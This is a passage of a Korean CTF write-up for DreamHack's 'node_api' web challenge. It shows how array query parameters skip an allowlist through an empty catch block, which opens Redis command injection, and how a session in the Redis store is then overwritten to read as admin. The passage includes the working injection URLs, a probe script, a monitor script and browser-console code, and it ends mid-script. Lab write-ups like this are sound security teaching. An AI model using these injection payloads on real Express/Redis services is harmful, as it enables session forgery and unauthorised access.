๋ฌธ์ : DreamHack โ node_api ๋ถ๋ฅ: web ๋์ด๋: ๐ฅ Gold 1 FLAG:
DH{c5adc4033f8b685d84d56423082f21ac}
๋ฌธ์ ์ค๋ช
์ ํ ์ค์ด๋ค. "challenge for advanced web hacker!" ๊ทธ๋ฆฌ๊ณ ํ์ผ ๋ ๊ฐ โ main.js 90์ค, package.json. ์๋ฒ์ ๋ถ์ผ๋ฉด ์ด๋ ๊ฒ ๋ง์ ์ค๋ค.
http://host3.dreamhack.games:13788/
hello undefined. ์ธ์
์ userid ๊ฐ ์์ผ๋ 'hello ' + undefined ๊ฐ ๊ทธ๋๋ก ์ฐํ ๊ฒ์ด๋ค. ๋ ๋๋งํ ํ๋ฉด๋, ๋งํฌ๋ ์๋ค. ์ด ๋ฌธ์ ์์ ๋ณผ ๊ฒ์ ์ ๋ถ ์์ค ์์ ์๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | node_api |
| ๋์ด๋ | ๐ฅ Gold 1 |
| ๋ถ๋ฅ | web |
| ์ ๊ณต ํ์ผ | main.js (2,232 B), package.json |
| ์คํ | Node.js + express 4 + express-session + connect-redis 4 + redis 3 |
| ์๋ฒ | ๋๋ฆผํต VM (hostN.dreamhack.games:PORT) |
| ํต์ฌ ์ทจ์ฝ์ | ์์ธ๋ฅผ ์ผํค๋ ๋น catch ๋ก ๋ช
๋ น์ด ํ์ฉ๋ชฉ๋ก ์ฐํ โ Redis ๋ช
๋ น์ด ์ฃผ์
โ ์ธ์
์ ์ฅ์ ์์กฐ |
ํ์ด ํ๋ฆ์ ์ธ ๊ฑธ์์ด๋ค. /show_logs ์ ์ฟผ๋ฆฌ์คํธ๋ง์ ๋ฐฐ์ด๋ก ๋ณด๋ด ๋ช
๋ น์ด ์ ๊ทํ๋ฅผ ๋ฌด๋ ฅํํ๊ณ , ๊ทธ๋ ๊ฒ ์ด๋ฆฐ ์์ Redis ๋ช
๋ น์ผ๋ก ์ธ์
์ ์ฅ์๋ฅผ ์ง์ ๋ค์ฌ๋ค๋ณด๊ณ , ๋ด ์ธ์
๊ฐ์ userid: "admin" ์ผ๋ก ๋ฎ์ด์ด๋ค. ์ฟ ํค๋ ์๋์ง ์๋๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ ์ธ์ ์ ์ฟ ํค์ ์๋ค
์ด ๋ฌธ์ ๋ฅผ ์ดํดํ๋ ค๋ฉด express-session + connect-redis ์กฐํฉ์ด ๋ฐ์ดํฐ๋ฅผ ์ด๋์ ๋๋์ง๋ถํฐ ์ ํํ ์์์ผ ํ๋ค. ์ฌ๊ธฐ๊ฐ ํ๋ ค์ง๋ฉด ๋์ค์ ์๋ฑํ ๊ณณ์ ํ๋ค.
express-session ์ด ๋ธ๋ผ์ฐ์ ์ ๋ด๋ ค ์ฃผ๋ ์ฟ ํค๋ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
connect.sid = s%3A4Kby8u97S2SQ1kKQjFp0QzM0VPKCmGYt.YwmgnvyJAyETU58roTqSFz%2BC5VWN84%2BY4Qwucw2ZCI0
โโ s: โโโโโโโโโโโ ์ธ์
ID(sid) โโโโโโโโโโโโโโ HMAC-SHA256 ์๋ช
โโโโโ์ฟ ํค์ ๋ค์ด ์๋ ๊ฑด ์ธ์
ID ์ ๊ทธ ID ์ ์๋ช
๋ฟ์ด๋ค. ์ค์ ์ธ์
๋ฐ์ดํฐ(userid ๊ฐ์ ๊ฒ)๋ ์๋ฒ ์ชฝ store ์ ์๋ค. connect-redis ๋ฅผ ์ฐ๋ฉด ๊ทธ store ๊ฐ Redis ์ด๊ณ , ํค ์ด๋ฆ์ <prefix> + sid ๋ค. prefix ๊ธฐ๋ณธ๊ฐ์ด ๋ฌด์์ธ์ง๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์์ค์ ๋ฐํ ์๋ค.
docker exec node-api-local sh -c "npm ls --depth=0; echo; grep -m4 -n prefix node_modules/connect-redis/lib/connect-redis.js"
21๋ฒ ์ค์ด ๋ต์ด๋ค. options.prefix ๋ฅผ ์ ์ฃผ๋ฉด 'sess:' ๋ค. ๋ฌธ์ ์ main.js ๋ new RedisStore({ client: redis_client }) ๋ก๋ง ๋๊ธฐ๋ ๊ทธ๋๋ก ๊ธฐ๋ณธ๊ฐ์ ์ด๋ค. ์ฆ ๋ชจ๋ ์ธ์
์ด sess:<sid> ๋ผ๋ ์ด๋ฆ์ผ๋ก Redis ์ JSON ๋ฌธ์์ด๋ก ๋ค์ด ์๋ค.
์ด๊ฒ ์ ์ค์ํ๋๋ฉด, ๊ณต๊ฒฉ ๋ชฉํ๊ฐ ๋ ๊ฐ๋๋ก ๊ฐ๋ฆฌ๊ธฐ ๋๋ฌธ์ด๋ค.
- ์ฟ ํค๋ฅผ ์์กฐํ๋ค โ ์๋ช
๋น๋ฐํค๊ฐ ํ์ํ๋ค. ๊ทธ๋ฐ๋ฐ ์๋ช
์ sid ์๋ง ๊ฑธ๋ ค ์์ด์, ์์กฐํด ๋ด์ผ "์กด์ฌํ์ง ์๋ ์ธ์
"์ ๊ฐ๋ฆฌํค๋ ์ ํจํ ์ฟ ํค๊ฐ ๋๋ค.
userid๋ ๋ชป ๋ฃ๋๋ค. - store ๋ฅผ ๊ณ ์น๋ค โ ์๋ช ์ ๊ฑด๋๋ฆด ํ์์กฐ์ฐจ ์๋ค. ๋ด๊ฐ ์ด๋ฏธ ๊ฐ๊ณ ์๋ ์ฟ ํค๊ฐ ๊ฐ๋ฆฌํค๋ ๊ทธ ํค์ ๊ฐ๋ง ๋ฐ๊พธ๋ฉด ๋๋ค.
๋ ๋ฒ์งธ๊ฐ ์ด ๋ฌธ์ ์ ๊ธธ์ด๋ค. ๋จ์ ๊ฑด "Redis ์ ์ธ ์ ์๋๊ฐ"๋ฟ์ด๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ 90์ค์ ๋๊น์ง ์ฝ๋๋ค
main.js ๋ ์งง๋ค. ์์์๋ถํฐ ๋ณด์.
const FLAG = function() {
try {
return require('fs').readFileSync('flag.txt').toString();
} catch (err) {
return 'DH{*****}';
}
}()
const redis_client = redis.createClient();
const RedisStore = connectRedis(session);
const sess = {
resave: false,
secret: 'dreamhack',
store: new RedisStore({
client: redis_client
}),
};
const db = {
'guest': 'guest',
'dreamhack': '1234',
'ADMIN': 'this_is_admin?'
}secret ์ด 'dreamhack' ์ผ๋ก ํ๋์ฝ๋ฉ๋ผ ์๋ค. ๋์ ํ ๋ค์ด์ค์ง๋ง, ๋ฐฉ๊ธ ๋ณธ ์ด์ ๋ก ์ด๊ฒ๋ง์ผ๋ก๋ ์๋ฌด ๋ฐ๋ ๋ชป ๊ฐ๋ค. ๊ณ์ ๋ชฉ๋ก๋ ํต์งธ๋ก ๋
ธ์ถ๋ผ ์๋๋ฐ โ ์ฌ๊ธฐ๊ฐ ์ด ๋ฌธ์ ์ ์ฒซ ๋ฒ์งธ ํจ์ ์ด๋ค.
app.get('/flag', function(req, res) {
if (req.session.userid === "admin") {
res.send(FLAG)
} else {
res.send('hello ' + req.session.userid);
}
});/flag ๊ฐ ์๊ตฌํ๋ ๊ฑด ์๋ฌธ์ admin ์ด๊ณ , === ๋ผ ํ์
๋ ๊ฐ๋ ์ ํํ ๊ฐ์์ผ ํ๋ค. ๊ทธ๋ฐ๋ฐ db ์ ์๋ ๊ด๋ฆฌ์ ๊ณ์ ์ ๋๋ฌธ์ ADMIN ์ด๋ค. ๋ก๊ทธ์ธ ๋ก์ง์ ์ด๋ ๋ค.
function login(user) {
return user.userpw && db[user.userid] == user.userpw;
}
app.get('/login', function(req, res) {
redis_client.set('log_' + new Date().getTime(), 'userid: ' + req.session.userid);
if (login(req.query)) {
req.session.userid = req.query.userid; // ์
๋ ฅํ ๋ฌธ์์ด์ด ๊ทธ๋๋ก ์ ์ฅ๋๋ค
...req.session.userid ์๋ ๋ด๊ฐ ๋ณด๋ธ userid ๋ฌธ์์ด์ด ๊ทธ๋๋ก ๋ค์ด๊ฐ๋ค. db ์ admin ์ด๋ผ๋ ํค๊ฐ ์์ผ๋ db['admin'] ์ undefined ์ด๊ณ , undefined == <๋ฌด์์ด๋ > ์ ์ฐธ์ด ๋ ์ ์๋ค(user.userpw ๊ฐ truthy ์ฌ์ผ ํ๋ฏ๋ก undefined == undefined ๋ก ๋น ์ง ๊ธธ๋ ์๋ค). ๋ก๊ทธ์ธ์ผ๋ก ์๋ฌธ์ admin ์ธ์
์ ๋ง๋๋ ๊ธธ์ ๋งํ ์๋ค.
๊ทธ๋ฆฌ๊ณ ๋จ์ ์๋ํฌ์ธํธ๊ฐ ์ด ๋ฌธ์ ์ ๋ณธ์ฒด๋ค.
app.get('/show_logs', function(req, res) {
// var log_query=get/log_info
var log_query = req.query.log_query;
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') {
log_query[0] = 'get';
}
log_query[1] = log_query.slice(1)
} catch (err) {
// Todo
// Error(403);
}
try {
redis_client.send_command(log_query[0], log_query[1], function(err, result) {
if (err) {
res.send('ERR');
} else {
res.send(result);
}
})
} catch (err) {
res.send('try /show_logs?log_query=get/log_info')
}
});send_command ๋ node_redis ์ ์ ์์ค API๋ค. ์ฒซ ์ธ์๊ฐ ๋ช
๋ น ์ด๋ฆ, ๋์งธ๊ฐ ์ธ์ ๋ฐฐ์ด. ๋ช
๋ น ์ด๋ฆ์ ์ฐ๋ฆฌ๊ฐ ์ค ๋ฌธ์์ด๋ก ๋ง๋ค์ด ์ฃผ๋ ํจ์๊ฐ ์ฌ์ฉ์ ์
๋ ฅ ์์ ๋์ฌ ์๋ ์
์ด๋ค.
๋ฌผ๋ก ๊ทธ๋ฅ์ ์ ๋๋ค. log_query[0].toLowerCase() != 'get' ์ด๋ฉด 'get' ์ผ๋ก ๊ฐ์์น์ฐ๋ ์ธ ์ค์ด ์์ ๋ง๋๋ค. ์๋ด๋๋ก ์จ ๋ณด๋ฉด ์ด๋ ๋ค.
http://host3.dreamhack.games:13788/show_logs?log_query=get/log_info
์ ์ ๋์์ด๋ค. ๊ทธ๋ผ ๋ค๋ฅธ ๋ช
๋ น์ ๋ฃ์ผ๋ฉด ์ด๋ป๊ฒ ๋ ๊น. del ๋ก ์ง์ ๋ณด์.
http://host3.dreamhack.games:13788/show_logs?log_query=del/log_info
DEL ์ ๋ณด๋๋๋ฐ ๊ฐ์ด ๋์์๋ค. ์ฒซ ํ ํฐ์ด get ์ผ๋ก ๊ต์ฒด๋๊ณ GET log_info ๊ฐ ์คํ๋ ๊ฒ์ด๋ค. ํ์ฉ๋ชฉ๋ก์ด ์ ๋๋ก ๋๋ ๊ฑธ ๋์ผ๋ก ํ์ธํ ์
์ด๋ค.
๐ ์ฝ์ง โ ์ธ ๋ฒ ํ์ง๊ณ ๋์์ผ ํ์ ์ด ๋ณด์๋ค
โถ๐ ์ฝ์ง 1 โ ADMIN ์ผ๋ก ๋ก๊ทธ์ธํ๋ฉด ๋๋ ๊ฑฐ ์๋๊ฐ
db ์ ์์ด๋์ ๋น๋ฐ๋ฒํธ๊ฐ ํต์งธ๋ก ์ ํ ์์ผ๋, ๊ฐ์ฅ ๋จผ์ ์์ด ๊ฐ๋ ๊ฑด ๊ทธ๋ฅ ๋ก๊ทธ์ธํด ๋ณด๋ ๊ฒ์ด๋ค.
http://host3.dreamhack.games:13788/login?userid=ADMIN&userpw=this_is_admin%3F๋ก๊ทธ์ธ์ ๋๋ค. ์๋ฆผ์ฐฝ์ด login! ์ด๋ผ๊ณ ๋ฌ๋ค. ๊ทธ ์ํ๋ก /flag ์ ๊ฐ ๋ณด๋ฉด ์ด๋ ๋ค.

hello ADMIN. ์ธ์
์ ์ ๋๋ก ๋ง๋ค์ด์ก๊ณ ๊ฐ๋ ๋ค์ด๊ฐ๋๋ฐ, === "admin" ์ ๋ชป ๋๋๋ค. ๋๋ฌธ์ ํ๋ ์ฐจ์ด๋ค.
userid ์ admin ์ ๋ฃ๊ณ ๋น๋ฐ๋ฒํธ๋ฅผ this_is_admin? ๋ก ๋ณด๋ด๋ ๊ฒ๋ ๋น์ฐํ ์ ๋๋ค. db['admin'] ์ด undefined ๋ผ ๋น๊ต๊ฐ ์ฑ๋ฆฝํ์ง ์๋๋ค. db['constructor'] ์ฒ๋ผ ํ๋กํ ํ์
์ฒด์ธ์ ํ๋ ํค๋ฅผ ๋ฃ์ผ๋ฉด login() ์์ฒด๋ ํต๊ณผ์ํฌ ์ ์์ง๋ง(๊ฐ์ด ํจ์๋ผ ๋ฌธ์์ด๊ณผ ๋์จํ๊ฒ ๋น๊ต๋๋ค), ๊ทธ๋ ๊ฒ ๋ง๋ ์ธ์
์ userid ๋ "constructor" ๋ผ์ /flag ์์์ ๋๊ฐ์ด ๋งํ๋ค. ๋ก๊ทธ์ธ ๊ฒฝ๋ก๋ก๋ ์๋ฌธ์ admin ์ ๋ง๋ค ์ ์๋ค.
โถ๐ ์ฝ์ง 2 โ secret ์ ์๋๋ฐ ์ฟ ํค๋ฅผ ์์กฐํ๋ฉด ๋ ์๋๊ฐ
secret: 'dreamhack' ์ด ์์ค์ ๋ฐํ ์๋ค. ๊ทธ๋ฌ๋ฉด ์์์ sid ์ ๋ํด ์ ํจํ ์๋ช
์ ๋ง๋ค ์ ์์ผ๋, userid ๊ฐ admin ์ธ ์ธ์
์ฟ ํค๋ฅผ ์ฐ์ด๋ด๋ฉด ๋ ๊ฒ ๊ฐ๋ค.
์ฌ๊ธฐ์ ํ์ฐธ ํค๋งธ๋ค. ์ฟ ํค์ ๋ด๊ธฐ๋ ๊ฒ ์ธ์
๋ฐ์ดํฐ๊ฐ ์๋๋ผ ์ธ์
ID ๋ผ๋ ๊ฑธ ๋์น ๊ฒ์ด๋ค. express-session ์ ์ฟ ํค์์ sid ๋ง ๊บผ๋ด store ์ get(sid) ์ ํ๊ณ , ์ธ์
๋ด์ฉ์ ์ ์ ์ผ๋ก store ๊ฐ ๋๋ ค์ค ๊ฐ์ ์ด๋ค. ์ฟ ํค๋ฅผ ์๋ฌด๋ฆฌ ์์๊ฒ ์๋ช
ํด ๋ด์ผ store ์ ๊ทธ ํค๊ฐ ์์ผ๋ฉด ๋น ์ธ์
์ด ์๋ก ๋ง๋ค์ด์ง ๋ฟ์ด๋ค.
Flask ์ itsdangerous ์ธ์
(์ฟ ํค ์์ ๋ฐ์ดํฐ๊ฐ ํต์งธ๋ก ๋ค์ด๊ฐ๋ค)๊ณผ ์ต๊ด์ด ์์ฌ์ ์๊ธด ์ฐฉ๊ฐ์ด์๋ค. ์๋ช
๋น๋ฐํค๋ ์ด ๋ฌธ์ ์์ ๋ฏธ๋ผ์ ๊ฐ๊น๋ค. ์ง์ง ๋ชฉํ๋ store ๋ค.
โถ๐ ์ฝ์ง 3 โ ๋ฐฐ์ด๋ก ๋ณด๋๋๋ฐ ์๋ด๋ฌธ๋ง ๋์์จ๋ค
.split ์ด ๋ฌธ์์ด ๋ฉ์๋๋ผ๋ ๋ฐ ์๊ฐ์ด ๋ฏธ์น๋ฉด, ๊ฐ์ ๋ฐฐ์ด๋ก ๋ง๋ค์ด ๋ณด๋ด๋ ๋ฐ์๊น์ง๋ ๊ธ๋ฐฉ ๊ฐ๋ค. ๊ทธ๋ฐ๋ฐ ์ฒซ ์๋๋ ์ด๋ ๊ฒ ์งฐ๋ค.
curl -s -g "http://host3.dreamhack.games:13788/show_logs?log_query[0]=keys&log_query[1]=*"๋์์จ ๊ฑด try /show_logs?log_query=get/log_info ๋ผ๋ ์๋ด๋ฌธ์ด์๋ค. ์์ธ๊ฐ ๋ฌ๋ค๋ ๋ป์ธ๋ฐ, ์ ๋ฌ๋์ง๊ฐ ๋ฐ๋ก ์ ๋ณด์๋ค.
์์ธ์ node_redis ์ชฝ์ด์๋ค. send_command(command, args, callback) ์ args ๊ฐ ๋ฐฐ์ด์ด ์๋๋ฉด TypeError ๋ฅผ ๋์ง๋ค. ์ ์ฟผ๋ฆฌ๋ log_query[1] ์ ๋ฌธ์์ด '*' ๋ก ๋ง๋ค๊ธฐ ๋๋ฌธ์ ๊ฑธ๋ฆฐ๋ค. ์ธ์ ์๋ฆฌ๋ ๋ฐฐ์ด์ด์ด์ผ ํ๋ค.
curl -s -g "http://host3.dreamhack.games:13788/show_logs?log_query[0]=keys&log_query[1][0]=*"log_query[1][0] ์ฒ๋ผ ํ ๊ฒน ๋ ๋ฃ์ผ๋ฉด ['keys', ['*']] ๊ฐ ๋๊ณ , ๊ทธ์ ์์ผ ํต๊ณผํ๋ค. ์๋ ยงํต์ฌ์ 3๋ฒ ์น์
[C] ์ผ์ด์ค๊ฐ ์ด ์คํจ๋ฅผ ๊ทธ๋๋ก ์ฌํํ ๊ฒ์ด๋ค.
๐ฃ ํต์ฌ โ ๋น catch ๊ฐ ์ ๊ทํ ์ธ ์ค์ ํต์งธ๋ก ์ผํจ๋ค
๋ค์ ํธ๋ค๋ฌ๋ฅผ ๋ณด์. ์ ๊ทํ๋ try ๋ธ๋ก ์์ ์๊ณ , ๊ทธ catch ๋ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
} catch (err) {
// Todo
// Error(403);
}Error(403) ์ ์ฃผ์ ์ฒ๋ฆฌํด ๋๋ค. ์ฆ ์์ธ๊ฐ ๋๋ฉด ์๋ฌด ์ผ๋ ์ผ์ด๋์ง ์๋๋ค. ๊ทธ๋ฆฌ๊ณ ์์ธ๊ฐ ๋๋ ์ง์ ์ ์ ๊ทํ์ ์ฒซ ์ค, log_query.split('/') ์ด๋ค.
express ์ ๊ธฐ๋ณธ ์ฟผ๋ฆฌ ํ์๋ qs ๋ผ์ ?a[0]=x&a[1]=y ๋ฅผ ๋ฐฐ์ด๋ก ๋ง๋ค์ด ์ค๋ค. ๋ฐฐ์ด์๋ split ์ด ์๋ค. ๊ทธ๋ฌ๋ฉด:
log_query.split('/')โTypeErrorcatch๊ฐ ์ผํจ๋ค (์๋ฌด๊ฒ๋ ์ ํจ)log_query[0] = 'get'๋,log_query[1] = slice(1)๋ ์คํ๋์ง ์๋๋คlog_query๋ ๋ด๊ฐ ๋ณด๋ธ ๋ฐฐ์ด ๊ทธ๋๋ก ๋จ์์send_command๋ก ํ๋ฌ๊ฐ๋ค
ํต์ฌ์ 3๋ฒ์ด๋ค. ํ์ฉ๋ชฉ๋ก์ด "ํ๋ ธ๋ค"๊ธฐ๋ณด๋ค ์คํ ์์ฒด๊ฐ ์ ๋๋ค. ์์ธ๋ฅผ ์ผํค๋ catch ํ๋๊ฐ ๊ฒ์ฆ ์ฝ๋๋ฅผ ํต์งธ๋ก ๊ฑด๋๋ฐ๊ฒ ๋ง๋ ๊ฒ์ด๋ค.
์ด๊ฑธ ๋ฐฐํฌ๋ณธ๊ณผ ๊ฐ์ ๋ฒ์ ์ผ๋ก ์ง์ ํ์ธํด ๋ณด์. ๋ฌธ์ ์ปจํ
์ด๋ ์์์ qs ํ์ฑ โ .split โ send_command ํ์
๊ฒ์ฌ๊น์ง ์ธ ๋จ๊ณ๋ฅผ ๊ทธ๋๋ก ์ฌํํ๋ ์คํฌ๋ฆฝํธ๋ค.
// qs_probe.js โ /show_logs ์ ๋ช
๋ น์ด ์ ๊ทํ๊ฐ ์ ํต์งธ๋ก ๊ฑด๋๋ฐ์ด์ง๋์ง ์ธ ๋จ๊ณ๋ก ํ์ธํ๋ค.
const qs = require('qs');
const redis = require('redis');
const CASES = [
['A', '๋ฌธ์์ด (๋ฌธ์ ๊ฐ ์๋ดํ ์ฌ์ฉ๋ฒ)', 'log_query=get/log_info'],
['B', '๋ฐฐ์ด + ์ค์ฒฉ๋ฐฐ์ด', 'log_query[0]=keys&log_query[1][0]=*'],
['C', '๋ฐฐ์ด + ๋ฌธ์์ด', 'log_query[0]=keys&log_query[1]=*'],
];
// main.js ์ /show_logs ํธ๋ค๋ฌ ์๋ถ๋ถ์ ๊ทธ๋๋ก ์ฎ๊ธด ๊ฒ
function normalize(log_query) {
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') log_query[0] = 'get';
log_query[1] = log_query.slice(1);
return { log_query, caught: null };
} catch (err) {
return { log_query, caught: err }; // ์๋ฌธ์ catch ๋ธ๋ก์ ๋น์ด ์๋ค
}
}
console.log('== 1. express ๊ธฐ๋ณธ ์ฟผ๋ฆฌํ์(qs)๊ฐ ๋ง๋๋ ๊ฐ ==');
for (const [id, desc, q] of CASES) {
const v = qs.parse(q).log_query;
console.log(`[${id}] ${q}`);
console.log(` ${desc}`);
console.log(` -> ${Array.isArray(v) ? 'Array' : typeof v} ${JSON.stringify(v)}`);
}
console.log('\n== 2. ๊ทธ ๊ฐ์ .split("/") ๋ฅผ ๊ฑธ์์ ๋ ==');
for (const [id, , q] of CASES) {
const { log_query, caught } = normalize(qs.parse(q).log_query);
console.log(`[${id}] ${caught ? caught.constructor.name + ': ' + caught.message : '์ ๊ทํ ํต๊ณผ (์ฒซ ํ ํฐ์ด get ์ผ๋ก ๊ณ ์ ๋จ)'}`);
console.log(` cmd=${JSON.stringify(log_query[0])} args=${JSON.stringify(log_query[1])}`);
}
console.log('\n== 3. redis_client.send_command(cmd, args) ์ ์ธ์ ํ์
๊ฒ์ฌ ==');
const client = redis.createClient();
client.on('error', () => {}); // ์ด ์ปจํ
์ด๋์ redis ์๋ฒ๊ฐ ์๋ค. ํ์
๊ฒ์ฌ๋ง ๋ณธ๋ค
for (const [id, , q] of CASES) {
const { log_query } = normalize(qs.parse(q).log_query);
try {
client.send_command(log_query[0], log_query[1], () => {});
console.log(`[${id}] ์ ์ก๋จ -> ${String(log_query[0]).toUpperCase()} ${JSON.stringify(log_query[1])}`);
} catch (err) {
console.log(`[${id}] ${err.constructor.name}: ${err.message.split('\n')[0]}`);
}
}
process.exit(0);docker run --rm -v "$PWD/qs_probe.js:/app/qs_probe.js:ro" node-api-local node /app/qs_probe.js
์ธ ๋จ๊ณ๊ฐ ํ ํ๋ฉด์ ๋ค ๋์๋ค.
- 1๋จ๊ณ โ
log_query[0]=keys&log_query[1][0]=*๋["keys",["*"]]๋ผ๋ ์ค์ฒฉ ๋ฐฐ์ด์ด ๋๋ค. - 2๋จ๊ณ โ ๋ฐฐ์ด์
.split์ ๊ฑธ๋ฉดTypeError: log_query.split is not a function. ์์ธ๊ฐ ๋๋cmd๋"keys"๋ก ๋จ์ ์๋ค. ์ ๊ทํ๊ฐ ์ ๋ ๊ฒ์ด๋ค. - 3๋จ๊ณ โ
send_command๋ ์ธ์๊ฐ ๋ฐฐ์ด์ผ ๋๋ง ๋ฐ๋๋ค.[B]๋KEYS ["*"]๋ก ์ ์ก๋๊ณ , ์ธ์๋ฅผ ๋ฌธ์์ด๋ก ์ค[C]๋Wrong input type "String" for args๋ก ๊ฑฐ๋ถ๋๋ค.
์ฝ์ง 3์์ ๋งํ๋ ์ง์ ์ด [C] ๋ค. ๋ช
๋ น ์ด๋ฆ์ ํต๊ณผํ๋๋ฐ ์ธ์ ํ์
์์ ๊ฑธ๋ ธ๋ ๊ฒ.
์ ๋ฆฌํ๋ฉด ๊ฐ๋ฆผ๊ธธ์ ์ด๋ ๊ฒ ์๊ฒผ๋ค.

๋ง๋ก๋ง ํ๋ฉด ๋ฏธ๋ฅ์ง ์์ผ๋ Redis ์ ์ค์ ๋ก ๋๋ฌํ ๋ช
๋ น์ ๋ด์ผ ํ๋ค. ๋ก์ปฌ ์ฌํ ์ปจํ
์ด๋์์ redis-cli monitor ๋ฅผ ์์ฒญ๋ง๋ค 3์ด์ฉ ์ด์ด ๋๊ณ ๋ค ๊ฐ์ง ์์ฒญ์ ํ๋ ค๋ณด๋ด๋ ์คํฌ๋ฆฝํธ๋ค.
#!/usr/bin/env bash
# monitor_demo.sh โ Redis ์ ์ค์ ๋ก ์ด๋ค ๋ช
๋ น์ด ๋๋ฌํ๋์ง ๋ก์ปฌ ์ฌํ ์ปจํ
์ด๋์์ ๊ด์ฐฐํ๋ค.
# ์์ฒญ ํ ๊ฑด๋ง๋ค redis-cli monitor ๋ฅผ 3์ด์ฉ ์ด๊ณ , ๊ทธ ์ฐฝ์ ์ฐํ ๋ช
๋ น๋ง ๋ผ๋ฒจ๊ณผ ํจ๊ป ๋ณด์ฌ์ค๋ค.
# ์ฟ ํค๋ฅผ ์ฌ์ฌ์ฉํด์ผ(-b/-c) ๋งค ์์ฒญ๋ง๋ค ์ ์ธ์
์ด ์ ์ฅ๋๋ ์ก์์ด ์ ์์ธ๋ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
B=http://127.0.0.1:18000
JAR=$(mktemp)
trap 'rm -f "$JAR"' EXIT
curl -s -o /dev/null -c "$JAR" "$B/" # ์ธ์
ํ ๋ฒ ๋ง๋ค์ด ๋๊ณ ์์
run() { # $1=๋ผ๋ฒจ $2=์ฟผ๋ฆฌ์คํธ๋ง
docker exec -d node-api-local sh -c 'timeout 3 redis-cli monitor > /tmp/mon.log 2>&1'
sleep 0.7
curl -s -o /dev/null -g -b "$JAR" -c "$JAR" "$B/show_logs?$2"
sleep 2.6
printf '%s\n GET /show_logs?%s\n' "$1" "$2"
docker exec node-api-local sh -c 'grep -E "\"(get|del|keys|set)\"" /tmp/mon.log || true' \
| sed 's/^[0-9.]* \[0 [^]]*\] / -> /'
echo
}
run '[A] ์๋ด๋ ์ฌ์ฉ๋ฒ' 'log_query=get/log_info'
run '[B] del ์ ๋ณด๋ด๋ ์ฒซ ํ ํฐ์ด get ์ผ๋ก ๋ฐ๋๋ค' 'log_query=del/log_info'
run '[C] ๋ฐฐ์ด๋ก ๋ณด๋ด๋ฉด ์ ๊ทํ๊ฐ ํต์งธ๋ก ์๋ต๋๋ค' 'log_query[0]=keys&log_query[1][0]=*'
run '[D] ์ธ์
์ ์ฅ์๋ฅผ ์ง์ ๋ฎ์ด์ด๋ค' 'log_query[0]=set&log_query[1][0]=sess:demo&log_query[1][1]=%7B%22userid%22%3A%22admin%22%7D'./monitor_demo.sh
์ฝ์ ๊ฒ ๋ ๊ฐ์ง๋ค.
์ฒซ์งธ, ๋ฌถ์๋ง๋ค ๋งจ ์์ "get" "sess:dJgFXtIhaLI6QFxoeMpCURKBUandl1uX" ๊ฐ ์ฐํ ์๋ค. express-session ์ด ๋งค ์์ฒญ๋ง๋ค ๋ด ์ธ์
์ ์ฝ๋ ํ์ ์ด๋ค. ์ธ์
์ ์ฅ์๊ฐ ์ฐ๋ฆฌ๊ฐ ๋ช
๋ น์ ์๋ ๊ทธ Redis ๋ผ๋ ๊ฑธ ์ด๋ณด๋ค ์ง์ ์ ์ผ๋ก ๋ณด์ฌ์ฃผ๋ ์ฆ๊ฑฐ๋ ์๋ค.
๋์งธ, [A] ์ [B] ๋ ๋๊ฐ์ด "get" "log_info" ๋ค. del ์ ๋ณด๋๋๋ฐ get ์ด ๊ฐ๋ค. ๋ฐ๋ฉด [C] ๋ "keys" "*" ๊ฐ, [D] ๋ "set" "sess:demo" "{\"userid\":\"admin\"}" ๊ฐ ๊ทธ๋๋ก ๋๋ฌํ๋ค. ๋ฐฐ์ด๋ก ๋ณด๋ธ ์๊ฐ ํ์ฉ๋ชฉ๋ก์ด ์ฌ๋ผ์ง๋ค.
๐ฏ ์ต์คํ๋ก์ โ ๋ด ์ธ์ ์ ๊ฐ๋ง ๋ฐ๊พผ๋ค
์์ ๋ช ๋ น์ด ์ด๋ ธ์ผ๋ ๋จผ์ ์ ์ฅ์๋ฅผ ๋ค์ฌ๋ค๋ณธ๋ค.
http://host3.dreamhack.games:13788/show_logs?log_query[0]=keys&log_query[1][0]=*![ํด๋ฆญํ์ฌ ํ๋ ๋ผ์ด๋ธ ์๋ฒ์์ KEYS * ๋ฅผ ์ฃผ์
ํ ๋ธ๋ผ์ฐ์ ํ๋ฉด. ์ฃผ์์ฐฝ์ log_query[0]=keys&log_query[1][0]=* ๊ฐ ๊ทธ๋๋ก ๋ณด์ด๊ณ , ์๋ต JSON ๋ฐฐ์ด์ sess: ๋ก ์์ํ๋ ์ธ์
ํค ์ธ ๊ฐ์ log_info, log_1785993190306 ๊ฐ์ ๋ก๊ทธ ํค๊ฐ ํจ๊ป ๋์ด๋ผ ์ธ์
์ ์ฅ์๊ฐ ๋
ธ์ถ๋๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-node-api-writeup%2F07_keys_injection.png&w=3840&q=75)
sess: ๋ก ์์ํ๋ ํค๋ค์ด ์ธ์
์ด๋ค. log_info ์ log_<ํ์์คํฌํ> ๋ /login ์ด ๋จ๊ธฐ๋ ๋ก๊ทธ. ์ ์ฅ์๊ฐ ํต์งธ๋ก ๋ณด์ธ๋ค.
์ด์ ๋ด ์ธ์
์ ์ฐพ์์ผ ํ๋ค. ์ฌ๋ฌ ๊ฐ ์ค ์ด๋ ๊ฒ์ด ๋ด ๊ฒ์ธ์ง๋, ์์์ ADMIN ์ผ๋ก ๋ก๊ทธ์ธํด ๋ ๊ฑธ ์ด์ฉํ๋ฉด ๋ฐ๋ก ๊ฐ๋ฆฐ๋ค โ ๊ฐ ์์ "userid":"ADMIN" ์ด ์๋ ๊ฒ ๋ด ๊ฒ์ด๋ค.
// ๋ธ๋ผ์ฐ์ ์ฝ์์์: ์ธ์
ํค ๋ชฉ๋ก์ ๋ฐ์ ๋ด ๊ฒ(ADMIN)์ ์ฐพ์ ๊ทธ ๊ฐ์ ๋ณด์ฌ ์ค๋ค
const g = (k) => '/show_logs?log_query[0]=get&log_query[1][0]=' + encodeURIComponent(k);
fetch('/show_logs?log_query[0]=keys&log_query[1][0]=' + encodeURIComponent('sess:*'))
.then(r => r.json())
.then(async (keys) => {
for (const k of keys) {
